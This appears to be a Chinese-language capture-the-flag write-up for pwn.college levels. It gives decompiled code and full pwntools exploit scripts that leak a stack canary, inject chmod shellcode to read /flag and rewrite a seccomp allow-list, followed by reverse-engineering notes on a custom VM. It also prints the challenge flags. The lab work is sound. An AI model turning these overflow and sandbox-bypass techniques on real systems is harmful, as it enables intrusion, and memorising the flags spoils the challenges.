log . success ( f "Canary: { to_hex_bytes ( canary ) }\n RBP: { to_hex_bytes ( rbp ) } " )
log . exception ( f "An error occurred while leaking canary: { e } " )
def construct_payload ( target ):
canary , rbp = leak_data ( target )
rbp = int . from_bytes ( rbp , "little" )
ret_addr = rbp - fixed_offset
shellcode = asm ( shellcraft . chmod ( "f" , 0o 4 ))
shellcode_length = len ( shellcode )
shellcode += b "" . ljust ( padding_to_v14_size - shellcode_length , b "A" )
shellcode += padding_to_ret
shellcode += p64 ( ret_addr )
def attack ( target , payload ):
os . system ( "ln -s /flag f" )
payload_size = f " { len ( payload ) } " . encode ()
target . sendlineafter ( b "Payload size: " , payload_size )
target . recvuntil ( b "Send your payload" )
send_payload ( target , payload )
response = target . recvall ( timeout = 5 )
log . debug ( response . decode ( "utf-8" , errors = "ignore" ))
with open ( "./f" , "r" ) as file :
except FileNotFoundError :
log . exception ( "The file './f' does not exist." )
log . failure ( "Permission denied to read './f'." )
log . exception ( f "An error occurred while performing attack: { e } " )
log . exception ( f "An error occurred while performing attack: { e } " )
payload = construct_payload ( target )
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{UiJc7-6JI988NELrbF-uNpbwc-X.0lNyMDL5cTNxgzW}
Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.
__int64 __fastcall challenge ( unsigned int a1 , __int64 a2 , __int64 a3 )
__int64 v8 ; // [rsp+0h] [rbp-E0h] BYREF
__int64 v9 ; // [rsp+8h] [rbp-D8h]
__int64 v10 ; // [rsp+10h] [rbp-D0h]
unsigned int v11 ; // [rsp+1Ch] [rbp-C4h]
int i ; // [rsp+28h] [rbp-B8h]
int v13 ; // [rsp+2Ch] [rbp-B4h]
size_t nbytes ; // [rsp+30h] [rbp-B0h] BYREF
void * buf ; // [rsp+38h] [rbp-A8h]
_QWORD * v16 ; // [rsp+40h] [rbp-A0h]
__int64 v17 ; // [rsp+48h] [rbp-98h]
_QWORD v18 [ 18 ]; // [rsp+50h] [rbp-90h] BYREF
__int64 savedregs ; // [rsp+E0h] [rbp+0h] BYREF
_UNKNOWN * retaddr ; // [rsp+E8h] [rbp+8h] BYREF
v18 [ 15 ] = __readfsqword ( 0x 28 u );
v18 [ 14 ] = 0x E700000001 LL ;
puts ( "The challenge() function has just been launched!" );
bp_ = ( __int64 ) & savedregs ;
sz_ = (( unsigned __int64 )(( char * ) & savedregs - ( char * ) & v8 ) >> 3 ) + 2 ;
puts ( "Before we do anything, let's take a look at challenge()'s stack frame:" );
printf ( "Our stack pointer points to %p, and our base pointer points to %p. \n " , ( const void * ) sp_ , ( const void * ) bp_ );
printf ( "This means that we have (decimal) %d 8-byte words in our stack frame, \n " , sz_ );
puts ( "including the saved base pointer and the saved return address, for a" );
printf ( "total of %d bytes. \n " , 8 * sz_ );
printf ( "The input buffer begins at %p, partway through the stack frame, \n " , buf );
puts ( "( \" above \" it in the stack are other local variables used by the function)." );
puts ( "Your input will be read into this buffer." );
printf ( "The buffer is %d bytes long, but the program will let you provide an arbitrarily \n " , 103 );
puts ( "large input length, and thus overflow the buffer. \n " );
puts ( "We have disabled the following standard memory corruption mitigations for this challenge:" );
puts ( "- the stack is executable. This means that if the stack contains shellcode" );
puts ( "and you overwrite the return address with the address of that shellcode, it will execute. \n " );
cv_ = __readfsqword ( 0x 28 u );
while ( * ( _QWORD * ) cp_ != cv_ )
printf ( "Payload size: " );
__isoc99_scanf ( "%lu" , & nbytes );
printf ( "You have chosen to send %lu bytes of input! \n " , nbytes );
printf ( "This will allow you to write from %p (the start of the input buffer) \n " , buf );
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer). \n " ,
printf ( "Send your payload (up to %lu bytes)! \n " , nbytes );
v13 = read ( 0 , buf , nbytes );
printf ( "ERROR: Failed to read input -- %s! \n " , v4 );
printf ( "You sent %d bytes! \n " , v13 );
puts ( "Let's see what happened with the stack: \n " );
puts ( "The program's memory status:" );
printf ( "- the input buffer starts at %p \n " , buf );
printf ( "- the saved frame pointer (of main) is at %p \n " , ( const void * ) bp_ );
printf ( "- the saved return address (previously to main) is at %p \n " , ( const void * ) rp_ );
printf ( "- the saved return address is now pointing to %p. \n " , * ( const void ** ) rp_ );
printf ( "- the canary is stored at %p. \n " , ( const void * ) cp_ );
printf ( "- the canary value is now %p. \n " , * ( const void ** ) cp_ );
printf ( "You said: %s \n " , ( const char * ) buf );
puts ( "This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()" );
puts ( "call to see the hidden backdoor!" );
if ( strstr (( const char * ) buf , "REPEAT" ) )
puts ( "Backdoor triggered! Repeating challenge()" );
return challenge ( v11 , v10 , v9 );
puts ( "This challenge will, by default, initialize a seccomp filter jail before exiting" );
puts ( "the challenge function. You will have to reverse engineer the program to" );
puts ( "understand how to avoid this." );
if ( v18 [ 13 ] == 0x 484D17DF2438CECF LL )
puts ( "Jail avoided! Continuing execution." );
puts ( "Restricting system calls (default: kill)" );
for ( i = 0 ; i <= 1 ; ++ i )
v6 = * (( _DWORD * ) v16 + i );
v7 = ( const char * ) seccomp_syscall_resolve_num_arch ( 0 LL , v6 );
printf ( "Allowing syscall: %s (number %i) \n " , v7 , v6 );
if ( ( unsigned int ) seccomp_rule_add ( v17 , 2147418112 LL , * (( unsigned int * ) v16 + i ), 0 LL ) )
"seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], 0) == 0" ,
"/challenge/toddlerone-level-5-0.c" ,
if ( ( unsigned int ) seccomp_load ( v17 ) )
__assert_fail ( "seccomp_load(ctx) == 0" , "/challenge/toddlerone-level-5-0.c" , 0x A1 u , "challenge" );
我本以为是要 bypass seccomp 的题,没想到根本用不着动脑子……
令 v18[13] == 0x484D17DF2438CECF
seccomp 就形同虚设了。试问这题和前面两题有啥区别吗,是不是这题就是个引子,后面有真正的 seccomp 玩呀 LOL
值得注意的是这里我们泄漏出来的 rbp 并不是真正的 rbp,而是一些其它的栈内数据,它后面也有别的返回地址,不过都覆盖掉好像也没啥问题,目的达到了就好~
我只是想说,我懒得改变量名了,总之解释清楚别误解了就好哈哈哈。
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-5-0"
HOST , PORT = "localhost" , 1337
padding_to_v18_size = 0x 68
backdoor_trigger = b "" . ljust ( padding_size - len ( backdoor ) + 1 , b "A" ) + backdoor
trigger_length = str ( len ( backdoor_trigger ))
padding_to_canary = b "" . ljust ( 0x 8 , b "A" )
padding_to_ret = b "" . ljust ( 0x 18 , b "A" )
v18 = p64 ( 0x 484D17DF2438CECF )
return "" . join ( f " \\ x { byte :02x } " for byte in data )
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
target . sendlineafter ( b "Payload size: " , trigger_length )
send_payload ( target , backdoor_trigger )
response = target . recvuntil ( backdoor )
log . debug ( response . decode ( "utf-8" , errors = "ignore" ))
canary = b " \x00 " + target . recv ( 0x 7 )
log . success ( f "Canary: { to_hex_bytes ( canary ) }\n RBP: { to_hex_bytes ( rbp ) } " )
log . exception ( f "An error occurred while leaking canary: { e } " )
def construct_payload ( target ):
canary , rbp = leak_data ( target )
rbp = int . from_bytes ( rbp , "little" )
ret_addr = rbp - fixed_offset
shellcode = asm ( shellcraft . chmod ( "f" , 0o 4 ))
shellcode_length = len ( shellcode )
shellcode += b "" . ljust ( padding_to_v18_size - shellcode_length , b "A" )
shellcode += padding_to_canary
shellcode += padding_to_ret
shellcode += p64 ( ret_addr )
def attack ( target , payload ):
os . system ( "ln -s /flag f" )
payload_size = f " { len ( payload ) } " . encode ()
target . sendlineafter ( b "Payload size: " , payload_size )
target . recvuntil ( b "Send your payload" )
send_payload ( target , payload )
response = target . recvall ( timeout = 5 )
log . debug ( response . decode ( "utf-8" , errors = "ignore" ))
with open ( "./f" , "r" ) as file :
except FileNotFoundError :
log . exception ( "The file './f' does not exist." )
log . failure ( "Permission denied to read './f'." )
log . exception ( f "An error occurred while performing attack: { e } " )
log . exception ( f "An error occurred while performing attack: { e } " )
payload = construct_payload ( target )
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{k8hu05Nam_pIp8PRsZsT8XQmYSZ.01NyMDL5cTNxgzW}
Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.
参见 Level 5.0 。
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-5-1"
HOST , PORT = "localhost" , 1337
padding_to_v13_size = 0x 40
backdoor_trigger = b "" . ljust ( padding_size - len ( backdoor ) + 1 , b "A" ) + backdoor
trigger_length = str ( len ( backdoor_trigger ))
padding_to_canary = b "" . ljust ( 0x 10 , b "A" )
padding_to_ret = b "" . ljust ( 0x 8 , b "A" )
v13 = p64 ( 0x 4887233ABFEDC049 )
return "" . join ( f " \\ x { byte :02x } " for byte in data )
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
target . sendlineafter ( b "Payload size: " , trigger_length )
send_payload ( target , backdoor_trigger )
response = target . recvuntil ( backdoor )
log . debug ( response . decode ( "utf-8" , errors = "ignore" ))
canary = b " \x00 " + target . recv ( 0x 7 )
log . success ( f "Canary: { to_hex_bytes ( canary ) }\n RBP: { to_hex_bytes ( rbp ) } " )
log . exception ( f "An error occurred while leaking canary: { e } " )
def construct_payload ( target ):
canary , rbp = leak_data ( target )
rbp = int . from_bytes ( rbp , "little" )
ret_addr = rbp - fixed_offset
shellcode = asm ( shellcraft . chmod ( "f" , 0o 4 ))
shellcode_length = len ( shellcode )
shellcode += b "" . ljust ( padding_to_v13_size - shellcode_length , b "A" )
shellcode += padding_to_canary
shellcode += padding_to_ret
shellcode += p64 ( ret_addr )
def attack ( target , payload ):
os . system ( "ln -s /flag f" )
payload_size = f " { len ( payload ) } " . encode ()
target . sendlineafter ( b "Payload size: " , payload_size )
target . recvuntil ( b "Send your payload" )
send_payload ( target , payload )
response = target . recvall ( timeout = 5 )
log . debug ( response . decode ( "utf-8" , errors = "ignore" ))
with open ( "./f" , "r" ) as file :
except FileNotFoundError :
log . exception ( "The file './f' does not exist." )
log . failure ( "Permission denied to read './f'." )
log . exception ( f "An error occurred while performing attack: { e } " )
log . exception ( f "An error occurred while performing attack: { e } " )
payload = construct_payload ( target )
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{w8_cw1WNbjdmbd10XDPrPKfumT5.0FOyMDL5cTNxgzW}
Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.
__int64 __fastcall challenge ( unsigned int a1 , __int64 a2 , __int64 a3 )
__int64 v8 ; // [rsp+0h] [rbp-F0h] BYREF
__int64 v9 ; // [rsp+8h] [rbp-E8h]
__int64 v10 ; // [rsp+10h] [rbp-E0h]
unsigned int v11 ; // [rsp+1Ch] [rbp-D4h]
int i ; // [rsp+28h] [rbp-C8h]
int v13 ; // [rsp+2Ch] [rbp-C4h]
size_t nbytes ; // [rsp+30h] [rbp-C0h] BYREF
void * buf ; // [rsp+38h] [rbp-B8h]
_DWORD * v16 ; // [rsp+40h] [rbp-B0h]
__int64 v17 ; // [rsp+48h] [rbp-A8h]
_DWORD v18 [ 34 ]; // [rsp+50h] [rbp-A0h] BYREF
unsigned __int64 v19 ; // [rsp+D8h] [rbp-18h]
__int64 savedregs ; // [rsp+F0h] [rbp+0h] BYREF
_UNKNOWN * retaddr ; // [rsp+F8h] [rbp+8h] BYREF
v19 = __readfsqword ( 0x 28 u );
puts ( "The challenge() function has just been launched!" );
bp_ = ( __int64 ) & savedregs ;
sz_ = (( unsigned __int64 )(( char * ) & savedregs - ( char * ) & v8 ) >> 3 ) + 2 ;
puts ( "Before we do anything, let's take a look at challenge()'s stack frame:" );
printf ( "Our stack pointer points to %p, and our base pointer points to %p. \n " , ( const void * ) sp_ , ( const void * ) bp_ );
printf ( "This means that we have (decimal) %d 8-byte words in our stack frame, \n " , sz_ );
puts ( "including the saved base pointer and the saved return address, for a" );
printf ( "total of %d bytes. \n " , 8 * sz_ );
printf ( "The input buffer begins at %p, partway through the stack frame, \n " , buf );
puts ( "( \" above \" it in the stack are other local variables used by the function)." );
puts ( "Your input will be read into this buffer." );
printf ( "The buffer is %d bytes long, but the program will let you provide an arbitrarily \n " , 114 );
puts ( "large input length, and thus overflow the buffer. \n " );
puts ( "We have disabled the following standard memory corruption mitigations for this challenge:" );
puts ( "- the stack is executable. This means that if the stack contains shellcode" );
puts ( "and you overwrite the return address with the address of that shellcode, it will execute. \n " );
cv_ = __readfsqword ( 0x 28 u );
while ( * ( _QWORD * ) cp_ != cv_ )
printf ( "Payload size: " );
__isoc99_scanf ( "%lu" , & nbytes );
printf ( "You have chosen to send %lu bytes of input! \n " , nbytes );
printf ( "This will allow you to write from %p (the start of the input buffer) \n " , buf );
"right up to (but not including) %p (which is %d bytes beyond the end of the buffer). \n " ,
printf ( "Send your payload (up to %lu bytes)! \n " , nbytes );
v13 = read ( 0 , buf , nbytes );
printf ( "ERROR: Failed to read input -- %s! \n " , v4 );
printf ( "You sent %d bytes! \n " , v13 );
puts ( "Let's see what happened with the stack: \n " );
puts ( "The program's memory status:" );
printf ( "- the input buffer starts at %p \n " , buf );
printf ( "- the saved frame pointer (of main) is at %p \n " , ( const void * ) bp_ );
printf ( "- the saved return address (previously to main) is at %p \n " , ( const void * ) rp_ );
printf ( "- the saved return address is now pointing to %p. \n " , * ( const void ** ) rp_ );
printf ( "- the canary is stored at %p. \n " , ( const void * ) cp_ );
printf ( "- the canary value is now %p. \n " , * ( const void ** ) cp_ );
printf ( "You said: %s \n " , ( const char * ) buf );
puts ( "This challenge has a trick hidden in its code. Reverse-engineer the binary right after this puts()" );
puts ( "call to see the hidden backdoor!" );
if ( strstr (( const char * ) buf , "REPEAT" ) )
puts ( "Backdoor triggered! Repeating challenge()" );
return challenge ( v11 , v10 , v9 );
puts ( "Restricting system calls (default: kill)" );
for ( i = 0 ; i <= 1 ; ++ i )
v7 = ( const char * ) seccomp_syscall_resolve_num_arch ( 0 LL , v6 );
printf ( "Allowing syscall: %s (number %i) \n " , v7 , v6 );
if ( ( unsigned int ) seccomp_rule_add ( v17 , 2147418112 LL , ( unsigned int ) v16 [ i ], 0 LL ) )
"seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], 0) == 0" ,
"/challenge/toddlerone-level-6-0.c" ,
if ( ( unsigned int ) seccomp_load ( v17 ) )
__assert_fail ( "seccomp_load(ctx) == 0" , "/challenge/toddlerone-level-6-0.c" , 0x 9A u , "challenge" );
得,果不出我所料,这 seccomp 不就来了嘛~
其实不用 seccomp-tools 也行,不过这里也贴一下好啦:
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0007
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL
seccomp_rule_add
会允许 v16[i]
处保存的系统调用,v16[i]
处保存的两个默认系统调用分别是 write (1)
和 exit_group (231)
,究其原因是因为程序执行完 seccomp 后还需要调用 puts
函数,而 puts
函数就需要这两个系统调用才可以执行。
所以我们有两个可用的系统调用可以发挥(怎么发挥?栈溢出过去覆盖成自己的~),这里还是选择 chmod
,允许了 chmod
后还需要允许 write
才可以成功执行 chmod
,我猜应该是因为 chmod
会去修改 inode
中保存的权限信息,而修改它需要 write
系统调用,所以使用 chmod
的话我们必须同时允许 write
才行。
需要注意的就是必须先允许主要系统调用,再允许其内部依赖的系统调用,否则 seccomp 会直接阻止主要调用。
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-6-0"
HOST , PORT = "localhost" , 1337
backdoor_trigger = b "" . ljust ( padding_size - len ( backdoor ) + 1 , b "A" ) + backdoor
trigger_length = str ( len ( backdoor_trigger ))
allowed_syscall_offset = 0x 74
padding_to_ret = b "" . ljust ( 0x 18 , b "A" )
return "" . join ( f " \\ x { byte :02x } " for byte in data )
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
target . sendlineafter ( b "Payload size: " , trigger_length )
send_payload ( target , backdoor_trigger )
response = target . recvuntil ( backdoor )
log . debug ( response . decode ( "utf-8" , errors = "ignore" ))
canary = b " \x00 " + target . recv ( 0x 7 )
log . success ( f "Canary: { to_hex_bytes ( canary ) }\n RBP: { to_hex_bytes ( rbp ) } " )
log . exception ( f "An error occurred while leaking canary: { e } " )
def construct_payload ( target ):
canary , rbp = leak_data ( target )
rbp = int . from_bytes ( rbp , "little" )
ret_addr = rbp - fixed_offset
shellcode = asm ( shellcraft . chmod ( "f" , 0o 4 ))
shellcode_length = len ( shellcode )
shellcode += b "" . ljust ( allowed_syscall_offset - shellcode_length , b "A" )
shellcode += p32 ( 0x 5A ) # SYS_chmod
shellcode += p32 ( 0x 01 ) # SYS_write
shellcode += b "" . ljust ( padding_size - ( allowed_syscall_offset + 0x 8 ), b "A" )
shellcode += padding_to_ret
shellcode += p64 ( ret_addr )
def attack ( target , payload ):
os . system ( "ln -s /flag f" )
payload_size = f " { len ( payload ) } " . encode ()
target . sendlineafter ( b "Payload size: " , payload_size )
target . recvuntil ( b "Send your payload" )
send_payload ( target , payload )
response = target . recvall ( timeout = 5 )
log . debug ( response . decode ( "utf-8" , errors = "ignore" ))
with open ( "./f" , "r" ) as file :
except FileNotFoundError :
log . exception ( "The file './f' does not exist." )
log . failure ( "Permission denied to read './f'." )
log . exception ( f "An error occurred while performing attack: { e } " )
log . exception ( f "An error occurred while performing attack: { e } " )
payload = construct_payload ( target )
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{Uh7pFxiL1QPHZzDdWNmvsW7FH_Y.0VOyMDL5cTNxgzW}
Write a full exploit involving injecting shellcode, reverse engineering, seccomp, and a method of tricking the challenge into executing your payload.
参见 Level 6.0 。
context ( log_level = "debug" , terminal = "kitty" )
FILE = "./toddlerone-level-6-1"
HOST , PORT = "localhost" , 1337
backdoor_trigger = b "" . ljust ( padding_size - len ( backdoor ) + 1 , b "A" ) + backdoor
trigger_length = str ( len ( backdoor_trigger ))
allowed_syscall_offset = 0x 2C
padding_to_ret = b "" . ljust ( 0x 8 , b "A" )
return "" . join ( f " \\ x { byte :02x } " for byte in data )
def launch ( local = True , debug = False , aslr = False , argv = None , envp = None ):
[ elf . path ] + ( argv or []), gdbscript = gdbscript , aslr = aslr , env = envp
return process ([ elf . path ] + ( argv or []), env = envp )
return remote ( HOST , PORT )
def send_payload ( target , payload ):
log . exception ( f "An error occurred while sending payload: { e } " )
target . sendlineafter ( b "Payload size: " , trigger_length )
send_payload ( target , backdoor_trigger )
response = target . recvuntil ( backdoor )
log . debug ( response . decode ( "utf-8" , errors = "ignore" ))
canary = b " \x00 " + target . recv ( 0x 7 )
log . success ( f "Canary: { to_hex_bytes ( canary ) }\n RBP: { to_hex_bytes ( rbp ) } " )
log . exception ( f "An error occurred while leaking canary: { e } " )
def construct_payload ( target ):
canary , rbp = leak_data ( target )
rbp = int . from_bytes ( rbp , "little" )
ret_addr = rbp - fixed_offset
shellcode = asm ( shellcraft . chmod ( "f" , 0o 4 ))
shellcode_length = len ( shellcode )
shellcode += b "" . ljust ( allowed_syscall_offset - shellcode_length , b "A" )
shellcode += p32 ( 0x 5A ) # SYS_chmod
shellcode += p32 ( 0x 01 ) # SYS_write
shellcode += b "" . ljust ( padding_size - ( allowed_syscall_offset + 0x 8 ), b "A" )
shellcode += padding_to_ret
shellcode += p64 ( ret_addr )
def attack ( target , payload ):
os . system ( "ln -s /flag f" )
payload_size = f " { len ( payload ) } " . encode ()
target . sendlineafter ( b "Payload size: " , payload_size )
target . recvuntil ( b "Send your payload" )
send_payload ( target , payload )
response = target . recvall ( timeout = 5 )
log . debug ( response . decode ( "utf-8" , errors = "ignore" ))
with open ( "./f" , "r" ) as file :
except FileNotFoundError :
log . exception ( "The file './f' does not exist." )
log . failure ( "Permission denied to read './f'." )
log . exception ( f "An error occurred while performing attack: { e } " )
log . exception ( f "An error occurred while performing attack: { e } " )
payload = construct_payload ( target )
log . exception ( f "An error occurred in main: { e } " )
if __name__ == "__main__" :
Flag: pwn.college{Mipexe2lNIdsBTQy-Vxsp5mdVZl.0FMzMDL5cTNxgzW}
Write a full exploit for a custom VM involving injecting shellcode and a method of tricking the challenge into executing it by locating and utilizing a bug in the challenge. Note, ASLR is disabled!
int __fastcall main ( int argc , const char ** argv , const char ** envp )
const char ** v4 ; // [rsp+0h] [rbp-420h] BYREF
int v5 ; // [rsp+Ch] [rbp-414h]
_BYTE buf [ 1024 ]; // [rsp+10h] [rbp-410h] BYREF
int v7 ; // [rsp+410h] [rbp-10h]
__int16 v8 ; // [rsp+414h] [rbp-Ch]
char v9 ; // [rsp+416h] [rbp-Ah]
__int64 savedregs ; // [rsp+420h] [rbp+0h] BYREF
_UNKNOWN * retaddr ; // [rsp+428h] [rbp+8h] BYREF
printf ( "[+] Welcome to %s! \n " , * argv );
puts ( "[+] This challenge is an custom emulator. It emulates a completely custom" );
puts ( "[+] architecture that we call \" Yan85 \" ! You'll have to understand the" );
puts ( "[+] emulator to understand the architecture, and you'll have to understand" );
puts ( "[+] the architecture to understand the code being emulated, and you will" );
puts ( "[+] have to understand that code to get the flag. Good luck!" );
puts ( "[+] This level is a full Yan85 emulator. You'll have to reason about yancode," );
puts ( "[+] and the implications of how the emulator interprets it!" );
setvbuf ( _bss_start , 0 LL , 2 , 1 uLL );
memset ( buf , 0 , sizeof ( buf ));
printf ( "[!] This time, YOU'RE in control! Please input your yancode: " );
puts ( "[+] This challenge doesn't allow you to call open via the sys instruction, but luckily," );
puts ( "[+] it makes a memory error that will let you accomplish your goals. Good luck!" );
bp_ = ( __int64 ) & savedregs ;
sz_ = (( unsigned __int64 )(( char * ) & savedregs - ( char * ) & v4 ) >> 3 ) + 2 ;
puts ( "[!] Let's take a look at the stack before we execute your yancode:" );
printf ( "[-] the saved frame pointer (of main) is at %p \n " , ( const void * ) bp_ );
printf ( "[-] the saved return address is at %p \n " , ( const void * ) rp_ );
printf ( "[-] the saved return address is currently pointing to %p. \n " , * ( const void ** ) rp_ );
puts ( "[+] This is a *teaching* challenge, which means that it will output" );
puts ( "[+] a trace of the Yan85 code as it processes it. The output is here" );
puts ( "[+] for you to understand what the challenge is doing, and you should use" );
puts ( "[+] it as a guide to help with your reversing of the code." );
interpreter_loop (( __int64 ) buf );
puts ( "[+] Exited interpreter loop! I hope you accomplished what you wanted!" );
puts ( "[!] Let's take a look at the stack after your yancode executed:" );
printf ( "[-] the saved frame pointer (of main) is at %p \n " , ( const void * ) bp_ );
printf ( "[-] the saved return address is at %p \n " , ( const void * ) rp_ );
printf ( "[-] the saved return address is now pointing to %p. \n " , * ( const void ** ) rp_ );
Wow, Yan85 Virtual Machine!
第一次见这种自定义指令集的题,感觉还是很新颖的!OK,通过简单的观察分析我们大致可以知道,这题会使用一套自定义指令集,称为 yancode
!而剩下的不用我说你应该也清楚,那就是用这套自定义指令集来写 shellcode,想办法获取 flag。
所以得先逆向分析搞清楚这个虚拟机提供了哪些指令,指令的机器码等等这些最基本的元素,才有能力用它编写 shellcode,攻击的思路则与用什么指令集无关,随你发挥~
程序的 main 函数我贴在上面了,我本来想尝试通过 read(0, buf, 0x300uLL);
来覆盖返回地址的,但是我们的输入大小被限制在 0x300
了,根本摸不到……也是,这可是传说中的 Yan85,怎么可能那么容易哈哈哈。那么继续往下看,我们发现,它会调用 interpreter_loop((__int64)buf)
来解析 buf 中的指令。
这个函数的定义如下:
__int64 __fastcall interpreter_loop ( __int64 a1 )
unsigned __int8 v1 ; // al
result = * ( unsigned __int8 * )( a1 + 1029 );
if ( ( _BYTE ) result == 0x FF )
v1 = * ( _BYTE * )( a1 + 1029 );
* ( _BYTE * )( a1 + 1029 ) = v1 + 1 ;
* ( unsigned __int16 * )( a1 + 3 LL * v1 ) | (( unsigned __int64 ) * ( unsigned __int8 * )( a1 + 3 LL * v1 + 2 ) << 16 ));
它通过 interpret_instruction(unsigned __int8 *a1, __int64 a2)
将 buf 中指令的机器码解析为 yancode 的伪代码。
并且,当 (_BYTE)result == 0xFF
时,结束 interpreter_loop
,也就是停止翻译指令了。结合下文的寄存器分析我们知道,这个 result
其实就是 i
寄存器。
而 *(unsigned __int16 *)&a1[3 * v1] | ((unsigned __int64)a1[3 * v1 + 2] << 16)
所做的就是合并出一条三字节指令。
interpret_instruction
函数的定义如下:
__int64 __fastcall interpret_instruction ( unsigned __int8 * a1 , __int64 a2 )
"[V] a:%#hhx b:%#hhx c:%#hhx d:%#hhx s:%#hhx i:%#hhx f:%#hhx \n " ,
printf ( "[I] op:%#hhx arg1:%#hhx arg2:%#hhx \n " , BYTE1 ( a2 ), ( unsigned __int8 ) a2 , BYTE2 ( a2 ));
if ( ( a2 & 0x 8000 ) != 0 )
if ( ( a2 & 0x 1000 ) != 0 )
if ( ( a2 & 0x 2000 ) != 0 )
result = BYTE1 ( a2 ) & 0x 40 ;
if ( ( a2 & 0x 4000 ) != 0 )
return interpret_sys ( a1 , a2 );
这里,我们可以看到 Yan85 提供的寄存器(a、b、c、d、s、i、f
)在内存中的保存位置分别是 a1[1024]
~ a1[1030]
。
我大胆猜测一下这些寄存器的用途:a、b、c、d
应该是四个通用寄存器;s
应该是栈指针寄存器;i
应该是指令指针寄存器;f
应该是标志寄存器。
然后,第 14 行会输出一个提示信息告诉我们当前 opcode
、arg1
、arg2
的值,这对我们理解内存中的数据如何解析成指令很有帮助。
这里 IDA 的反汇编使用了 BYTE1
、BYTE2
宏。它们的作用分别是取一个数据的第 1 位、第 2 位。同理,BYTE0
取第 1 位,类似的宏应该有 BYTE0 ~ BYTE7
。
我们以数据 x = 0x1122334455667788
为例,BYTE1
做的应该是 (x >> 8) & 0xFF
,得到 0x77
;BYTE2
做的应该是 (x >> 16) & 0xFF
,得到 0x66
。
知道了这些后,我很很容易推断出 yancode 使用的三字节指令在内存中的布局 (LSB) 为:arg2 opcode arg1
。
最后,opcode
的判断是根据 (a2 & N) != 0
来实现的。其中 N
对于不同的 opcode
来说是不一样的。
假设我需要执行 add
操作,那就必须满足 (a2 & 0x800) != 0
,其中 a2
是你的一整条指令(操作码加操作数)。程序会判断你这条指令与 0x800
的逻辑与结果是否为 0,不为 0 则断言这条指令的 opcode
是 add
,再利用你给的 args
去调用 interpret_add(a1, a2)
,也就是解析 add
指令的具体操作。
0x800
的二进制表示是 0b100000000000
,所以为了得到一条 add
指令,我们要做的就是令 bin(a2)
的第 11 位为 1。
好了,下面列张表,记录一下各指令的 opcode
,答案不为一,这里给出的是最小表示。另外,我顺便还分析了一下每条指令的功能,所以这张表也顺便记录了不同指令的使用格式和简介。
Opcode Instruction Description \x04
imm reg, byte
Load byte
to reg
register. \x08
add reg1, reg2
Add reg2
to reg1
. \x01
stk reg1, reg2
Push reg2
if reg2
is not zero, pop reg1
if reg1
is not zero. \x80
stm reg1, reg2
It does the same as *reg1 = reg2
. \x10
ldm reg1, reg2
It does the same as reg1 = *reg2
\x02
cmp reg1, reg2
Compare two registers and set the f
register status. \x20
jmp flags, reg
If flags != 0
and flags
setted in f
, jump to the address saved in reg
. \x40
sys SYS_num, reg
Execute specific SYS_num
system call, return value saved in reg
.
对于 cmp
指令,不同比较结果的标志位状态表如下:
f
statusCompare results \x10
reg1 < reg2
\x02
reg1 > reg2
\x04
reg1 = reg2
\x01
reg1 != reg2
\x08
reg1, reg2 = 0
对于 sys
指令,我们可用的系统调用号如下:
NR SYSCALL NAME \x02
SYS_open
\x08
SYS_read_code
\x10
SYS_read_memory
\x01
SYS_write
\x20
SYS_sleep
\x04
SYS_exit
接下来是搞清楚寄存器的机器码,我们发现一个 describe_register
函数,作用是把寄存器机器码解析为对应寄存器名称。
__int16 * __fastcall describe_register ( char a1 )
return ( __int16 * ) "NONE" ;
.rodata:00000000004031CC aAbcdsif: ; DATA XREF: describe_register+13↑o
.rodata:00000000004031CC ; describe_register+22↑o ...
.rodata:00000000004031CC text "UTF-16LE", 'abcdsif'
还有一个 write_register
函数,用来向寄存器写入数据:
_BYTE * __fastcall write_register ( _BYTE * a1 , char a2 , char a3 )
crash ( a1 , "unknown register" );
综合上面两个函数我们得到了不同寄存器所对应的机器码和寄存器在内存中的偏移地址:
Opcode Register Offset \x01
a
0x400
\x08
b
0x401
\x10
c
0x402
\x02
d
0x403
\x40
s
0x404
\x04
i
0x405
\x20
f
0x406
Undefined
?
Non-existent
\x00
NONE
Non-existent
某些非法情况会触发 crash
函数:
// positive sp value has been detected, the output may be wrong!
